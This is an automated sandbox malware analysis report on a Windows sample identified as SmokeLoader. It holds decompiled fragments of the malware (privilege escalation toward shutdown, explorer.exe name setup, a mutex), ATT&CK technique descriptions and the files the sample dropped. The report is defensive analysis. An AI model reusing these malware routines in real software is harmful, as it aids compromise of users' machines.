Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: LibraryLoad$HandleModule
String ID: advapi32.dll$kernel32.dll$ntdll.dll
API String ID: 2593893887-1356967432
Opcode ID: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction ID: ca720bcfbdb204521244a6d16e88fbee784b87e4b750a5d7fd7297a05bd30f3d
Opcode Fuzzy Hash: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction Fuzzy Hash: DC511DF2D10210EFD304BFA1BCC28393AB5E649305744457FF985A72A1F6B9A9448B6B

Uniqueness

Uniqueness Score: -1.00%

Function 004023F2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 82
libraryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E004023F2(void* __eflags) {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				char _v56;
				intOrPtr _t34;
				void* _t43;
				void* _t57;
				void* _t64;

				_t64 = __eflags;
				_v8 = 0;
				_v8 = LoadLibraryA("advapi32.dll");
				_v24 = E0040C2B9(_t64, _v8, 0xcb281c54);
				_v28 = E0040C2B9(_t64, _v8, 0x67340137);
				_v36 = E0040C2B9(_t64, _v8, 0x11143a65);
				_t34 =  *0x46c530; // 0x74ca0000
				_v20 = E0040C2B9(_t64, _t34, 0xb65a6df4);
				_push(_v20(0x28,  &_v32));
				if(_v24() == 0) {
					L4:
					return 0;
				}
				_v28(0, "SeShutdownPrivilege", _t57 + 0xffffffffffffffd0);
				_v56 = 1;
				 *((intOrPtr*)(_t57 + 0xffffffffffffffd8)) = 2;
				_t43 = _v36(_v32, 0,  &_v56, 0, 0,  &_v40);
				_t66 = _t43;
				if(_t43 == 0) {
					goto L4;
				}
				_v12 = 0;
				_v16 = 0;
				_v12 = LoadLibraryA("NTDLL.DLL");
				_v16 = E0040C2B9(_t66, _v12, 0xce91d18);
				_v16(1);
				return 1;
			}

0x004023f2
0x004023f8
0x0040240a
0x0040241e
0x00402432
0x00402446
0x0040244e
0x0040245c
0x00402468
0x0040246e
0x0040be06
0x00000000
0x0040be06
0x00402488
0x0040248b
0x0040249a
0x004024b4
0x004024b7
0x004024b9
0x00000000
0x00000000
0x004024bf
0x004024c6
0x004024d8
0x004024ec
0x004024f1
0x00000000

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402404
LoadLibraryA.KERNEL32(NTDLL.DLL), ref: 004024D2

Strings

NTDLL.DLL, xrefs: 004024CD
advapi32.dll, xrefs: 004023FF
SeShutdownPrivilege, xrefs: 00402481

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: NTDLL.DLL$SeShutdownPrivilege$advapi32.dll
API String ID: 1029625771-2471717051
Opcode ID: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction ID: 3c0ce9a7761a6e63309c521fc4ca6a6d9466e377a545f21450368ef7aac56ae8
Opcode Fuzzy Hash: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction Fuzzy Hash: F13146B1E10209EBDB04DFE0CD46BEEBB74EB44701F20416AF501B66C0E7795A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405312 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00405312(WCHAR* _a4, intOrPtr _a8, signed int _a12) {
				long _v8;
				signed int _v12;
				unsigned int _v16;
				intOrPtr _v20;
				short _v22;
				char _v24;
				void* _v32;

				if(_a12 <= 0x7ffd) {
					_v12 = _a12;
				} else {
					_v12 = 0x7ffd;
				}
				E0040335C( &_v32,  &_v32, 8);
				RtlInitUnicodeString( &_v32, _a4);
				_v20 = _a8;
				_v24 = 0;
				_v22 = _v12 << 1;
				_v16 = 0;
				_v8 =  *0x46cfc0(0,  &_v32,  &_v24,  &_v16);
				if(_v8 >= 0) {
					L7:
					return _v16 >> 1;
				} else {
					if(_v8 != 0xc0000023) {
						goto L1;
					}
					goto L7;
				}
				L1:
				RtlRestoreLastWin32Error(RtlNtStatusToDosError(_v8));
				return 0;
			}

0x0040531f
0x0040c39a
0x00405325
0x00405325
0x00405325
0x00408332
0x00408342
0x0040834b
0x00408350
0x00408359
0x0040835d
0x00408378
0x0040837f
0x0040b659
0x00000000
0x00408385
0x0040838c
0x00000000
0x00000000
0x00000000
0x00408392
0x004037e4
0x004037ef
0x00000000

APIs

RtlNtStatusToDosError.NTDLL(C0000023), ref: 004037E8
RtlRestoreLastWin32Error.NTDLL(00000000), ref: 004037EF
RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

#, xrefs: 00408385

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: Error$EnvironmentExpandInitLastRestoreStatusStringStrings_UnicodeWin32
String ID: #
API String ID: 4202685462-1885708031
Opcode ID: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction ID: 2625ad76528c3a05819e41784e94355af3192e6a8ec1aace2841fc774e878e1c
Opcode Fuzzy Hash: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction Fuzzy Hash: D5115175D14209EFDB14DFE4C984AAEBB79EF08301F10856AE915B32C0EB789705CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0220129F Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 022012A9
GetSidSubAuthority.ADVAPI32 ref: 022012BF
CloseHandle.KERNEL32(00000000), ref: 022014AB
LocalFree.KERNEL32(00000000), ref: 02203E3A
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 02209EFB

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

API ID: Authority$CloseCountFreeHandleLocalOpenProcessToken
String ID:
API String ID: 348947546-0
Opcode ID: 307f95fa8681cc8297f1b98fe92d0382cd4f0cc593fbc7a0e59b5724dfbaa28a
Instruction ID: fa5fb48a18e3552562d0819b222513f01d3f21e85707f6b93a1f7753b69b5495
Opcode Fuzzy Hash: 307f95fa8681cc8297f1b98fe92d0382cd4f0cc593fbc7a0e59b5724dfbaa28a
Instruction Fuzzy Hash: 7501FBB4914205DFCB14CFE4D598AADBBB4BF49302F10819AE402972A9D774DE40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 004050A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004050A2(void* __ecx, struct _EXCEPTION_RECORD _a4, intOrPtr _a8, WCHAR* _a12) {
				intOrPtr _v8;
				intOrPtr _t12;

				_push(__ecx);
				_v8 = _a8;
				_t12 =  *((intOrPtr*)(_a4 + 0x18));
				if(_t12 ==  *((intOrPtr*)(_v8 + 8))) {
					__ecx =  *0x46c2d0; // 0x5d0000
					RtlInitUnicodeString(_a4 + 0x24, __ecx);
					__eax = _a4;
					__eax = _a4 + 0x2c;
					RtlInitUnicodeString(__eax, L"explorer.exe");
					__ecx = _a12;
					 *_a12 = 1;
					return __eax;
				}
				 *_a12 = 0;
				return _t12;
			}

0x004050a5
0x004050a9
0x004050b2
0x004050b8
0x004050be
0x004050cc
0x004050d7
0x004050da
0x004050de
0x004050e4
0x004050e7
0x00000000
0x004050e7
0x004043bf
0x00000000

APIs

RtlInitUnicodeString.NTDLL(?,005D0000), ref: 004050CC
RtlInitUnicodeString.NTDLL(?,explorer.exe), ref: 004050DE

Strings

explorer.exe, xrefs: 004050D2

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: InitStringUnicode
String ID: explorer.exe
API String ID: 4228678080-3187896405
Opcode ID: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction ID: 050ed0569a6514cfdb40d37d4b6a842c1993e2635d6f26a1999b978f90a0d4ff
Opcode Fuzzy Hash: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction Fuzzy Hash: BAF09074204248EFCB04CF54C880E6ABBA6FB49304F20855AFC0597381C674ED91CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00403AEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403AEE(void* __ecx) {
				struct _SECURITY_ATTRIBUTES* _v8;

				 *0x46c534 = CreateMutexW(0, 0, L"WTfewgNmxpcaVXHKTu");
				if(GetLastError() == 0xb7) {
					_v8 = 0;
				} else {
					_v8 = 1;
				}
				return _v8;
			}

0x00403b01
0x00403b11
0x00403e7a
0x00403b17
0x00403b17
0x00403b17
0x004021a0

APIs

CreateMutexW.KERNEL32(00000000,00000000,WTfewgNmxpcaVXHKTu,?,?,004044C1,?,?,004046B5), ref: 00403AFB
GetLastError.KERNEL32(?,?,004044C1,?,?,004046B5), ref: 00403B06

Strings

WTfewgNmxpcaVXHKTu, xrefs: 00403AF2

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: WTfewgNmxpcaVXHKTu
API String ID: 1925916568-3869692174
Opcode ID: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction ID: a0a935667e3c440a3b0ad9d72cf5864bc57c65037e1d1e5c0e0eaa538b974b95
Opcode Fuzzy Hash: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction Fuzzy Hash: F7D017B040A304EAE3009F50DE4DB597EB4EB04703F208036E2026A2D4E3F85A45564A

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	API monitoring, MBR, VBR
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\D02D.exe

C:\Users\user\AppData\Local\Temp\DFC9.exe

C:\Users\user\AppData\Local\Temp\EF7A.exe

C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\rgtrtas

C:\Users\user\AppData\Roaming\rgtrtas:Zone.Identifier

C:\Users\user\pigalicapi.exe

Static File Info

General

File Icon

Windows Analysis Report
file.exe

Function 004014F2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220
nativeCOMMON

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Function 0040152C Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Function 0040151F Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Function 023D003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 023D0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 0040AB0D Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 0040AE0A Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Function 00401910 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre